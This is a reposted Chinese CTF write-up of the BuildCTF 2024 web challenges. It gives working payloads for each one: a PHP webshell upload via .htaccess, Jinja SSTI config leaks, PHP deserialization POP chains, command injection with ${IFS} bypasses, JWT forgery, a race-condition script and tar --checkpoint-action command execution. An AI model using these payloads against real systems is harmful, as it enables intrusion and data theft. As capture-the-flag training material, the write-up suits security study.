自学内容网 自学内容网

BuildCTF 2024 web

babyupload

上传 .htaccess

AddType application/x-httpd-php .png

上传 1.png

GIF89a
<?=`$_POST[1]`;?> 

就可以直接绕过进行命令执行拿到flag了

ez!http

一些http头的伪造

POST / HTTP/1.1
Host: []:42737
Content-Length: 9
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://[]:42737
Content-Type: application/x-www-form-urlencoded
User-Agent: buildctf
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: blog.buildctf.vip
Accept-Encoding: gzip, deflate
Accept-Language: buildctf
x-forwarded-for: 127.0.0.1
Connection: close
Date: 2042.99.99
From: root@buildctf.vip
Via: buildctf.via

user=root&getFlag=This_is_flag
RedFlag
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + payload
    return flask.render_template_string(safe_jinja(redflag))

根据代码可知config里面存在flag, 获取config的值就行
利用flask里面的 get_flashed_messages 函数

payload:

url/redflag/{{get_flashed_messages.__globals__['current_app'].config}}
LovePopChain
<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}



if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
}

反序列化, 比较简单的利用

//poc链
// MyObject::__wakeup -->hybcx::__toString() -->MyObject::__invoke() -->GaoZhouYue::__clone

$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
echo urlencode(serialize($a));

//y3y4=system("cat /ofl1111111111ove4g");
find-the-id

比较简单, bp直接爆破, 爆破相应的数字可以直接拿到flag

ez_md5
第一关: sql注入里面的md5加密的密码, 直接套万能密码传参
ffifdyop

第二关:

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('不可以哦!'); 
    } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
    {
        echo $flag;
    }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

需要爆破md5, 题目给了提示: md5(114514xxxxxxx)
直接爆它的md5值

<?php
// 目标 MD5 哈希值
$target_hash = "3e41f780146b6c246cd49dd296a3da28";

// 固定的前缀
$prefix = "114514";

// 字符集
$chars = "0123456789";
$length = 7;

// 生成所有可能的字符串
function generate_strings($chars, $length, $prefix) {
    $count = strlen($chars);
    $total_combinations = pow($count, $length);
    for ($i = 0; $i < $total_combinations; $i++) {
        $current = $prefix;
        $num = $i;
        for ($j = 0; $j < $length; $j++) {
            $current .= $chars[$num % $count];
            $num = (int)($num / $count);
        }
        yield $current;
    }
}

foreach (generate_strings($chars, $length, $prefix) as $test_string) {
    $hash = md5($test_string);
    if ($hash === $target_hash) {
        echo "Found: $test_string\n";
        break;
    }
}
//1145146803531
Why_so_serials?
<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
    $Bruce = $_GET['Bruce'];
    $Wayne = $_GET['Wayne'];

    $city = new Gotham($Bruce,$Wayne);
    if(preg_match("/joker/", $Wayne)){
        $serial_city = str_replace('joker', 'batman', serialize($city));
        $boom = unserialize($serial_city);
        if($boom->crime){
            echo $flag;
        }
    }else{
    echo "no crime";
    }
}else{
    echo "HAHAHAHA batman can't catch me!";
}

反序列化字符串逃逸, 需要自己去构造, 数出需要逃逸出多少

<?php

class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;

}
$a=new Gotham();
$a->Bruce='1';
$a->Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';

//";s:5:"crime";b:1;} -->需要逃逸的
$serial_city = str_replace('joker', 'batman', serialize($a));
echo $serial_city;
//batmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatman
tflock

/robots.txt

题目感觉有点抽象, 根据题目的提示: 题目名补充为true & false lock(真假锁定)
在拿题目给的密码字典爆破了两三次后就可以登录拿到flag了

sub
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')


@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

审计一下代码, 直接利用给出的密钥生成role为admin的用户, 进入到 /page页面(在Cookie里面加上jwt的值)

content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)

subprocess.check_output可以执行系统命令 , 利用file传参的值进行一个命令执行, 绕过一下(在bp里面做的)

/page?file=1;cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flag
我写的网站被rce了?

多个功能点都试试, 可以发现在查看日志的时候是会传参 log_type=access
查看/var/log/nginx/access.log 日志, 可以控制查看日志的名字, 尝试输入一些其他的参数, 会发现存在一个过滤
根据题目的名字可能就是在这里存在一个rce,
可控的参数这里想要执行命令, 那么需要将它与它前面的值和后面的值给分隔开 , 可以用到 || (%0a也可以)
log_type=||whoami||

然后空格, cat啥的也被过滤了, 绕过一下就行

log_type=||ca''t${IFS}/f???||
刮刮乐

根据提示传参cmd , 以及修改请求头Referer

这道题有点懵,需要在后面加个; 就可以直接执行命令

?cmd=cat /flag;
eazyl0gin

根据提示: routes/users.js

router.post('/login',function(req,res,next){
  var data = {
    username: String(req.body.username),
    password: String(req.body.password)
  }
  const md5 = crypto.createHash('md5');
  const flag = process.env.flag

  if(data.username.toLowerCase()==='buildctf'){
    return res.render('login',{data:"你不许用buildctf账户登陆"})
  }

  if(data.username.toUpperCase()!='BUILDCTF'){
    return res.render('login',{data:"只有buildctf这一个账户哦~"})
  }
  
  var md5pwd = md5.update(data.password).digest('hex')
  if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
    return res.render('login',{data:"密码错误"})
  }
  return res.render('login',{data:flag})

})

审计代码用户名会经过toUpperCase() 满足与 BUILDCTF相等就行
在js里面存在一个大小写转换的漏洞,也就是
对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(前⾯这个K不是字⺟K)

通过这个绕过用户名, 然后密码给了一个md5值, 可以直接解出来是 012346
直接登录 buıldctf / 012346 就能拿到flag

Cookie_Factory

不太理解 , 贴一下官方wp

// your value is only updated server-side when the client
// acknowledges an error by sending the receivedError event
// so you can just disable this
// paste this into the JS console
socket.off('error');
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
// you have to send it twice since it only updates
// once the already-stored point value on the server side is
// more than 1e20
ez_waf

对文件的后缀名没有过滤, 可以直接上传 .php文件, 但是对文件的内容过滤的比较死

搜索一下对文件内容绕过的方法
参考文章: https://www.cnblogs.com/murkuo/p/15085555.html

最后提到了一种 填充垃圾数据,造成溢出后使WAF崩掉 , 从而绕过文件内容的检查
我直接在前面加了10000个a可以成功绕过, 访问 /uploads/1.php直接执行命令就行
(没有回显上传的路径, 盲猜uploads路径, 或者也可以目录扫描一下)

在这里插入图片描述

fake_signin
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
    'admin': {
        'password': 'admin',
        'signins': {},
        'supplement_count': 0,  
    }
}


@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('view_signin'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['user'] = username
            return redirect(url_for('view_signin'))
    return render_template('login.html')

@app.route('/view_signin')
def view_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
             for i in range(1, 31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
    return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")

    if today not in user['signins']:
        user['signins'][today] = True
    return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
    session.pop('user', None)   
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5051)

分析代码, 需要签到满30次以上才能够拿到flag, 但是我们只能签到一次, 补签一次

想要能够签到30次, 需要想办法补签的次数提高

在这个路由下/supplement_signin 存在⼀个并发漏洞 , user['supplement_count'] 是一个共享状态, 可以进行一个并发请求,
使得 user['supplement_count'] 被多次更新绕过检查
写个代码并发执行一下, 登录后就可以看到flag了

import requests
import threading

url='http://27.25.151.80:45280/supplement_signin'
url_login='http://27.25.151.80:45280/login'

login_data={"username":"admin","password":"admin"}
datas=[f"2024-09-{i:02d}" for i in range(1,31)]

# print(datas)
session=requests.session()

session.post(url=url_login,data=login_data)

def supplement_signin(supplement_data):
    data={"supplement_date":supplement_data}
    res=session.post(url=url,data=data)
    print(res.status_code)

threads=[]
for supplement_data in datas:
    thread=threading.Thread(target=supplement_signin,args=(supplement_data,))
    thread.start()
    threads.append(thread)

for thread in threads:
    thread.join()

打包给你

关键代码

@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')

tar有通配符*的漏洞

可以参考文章: https://www.cnblogs.com/jhinjax/p/17067082.html

通过控制文件名进行命令执行, 因为 ../ 被过滤, 使用 base64 进行绕过

–checkpoint-action选项,用于指定到达检查点时将要执行的程序,这将允许运行一个任意的命令

--checkpoint=1  ==> 作为文件名

ls /> $(pwd)/test.txt
--checkpoint-action=exec=echo bHMgLz4gJChwd2QpL3Rlc3QudHh0|base64 -d|bash   ==> 作为文件名

在这里插入图片描述

第一次下载之后就会执行命令, 生成 test.txt文件, 然后第二次下载就可以看到test.txt文件里面列出来的根目录

然后替换命令 cat /Guess_my_name 就可以拿到flag了

在这里插入图片描述


原文地址:https://blog.csdn.net/2302_80472909/article/details/143524462

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!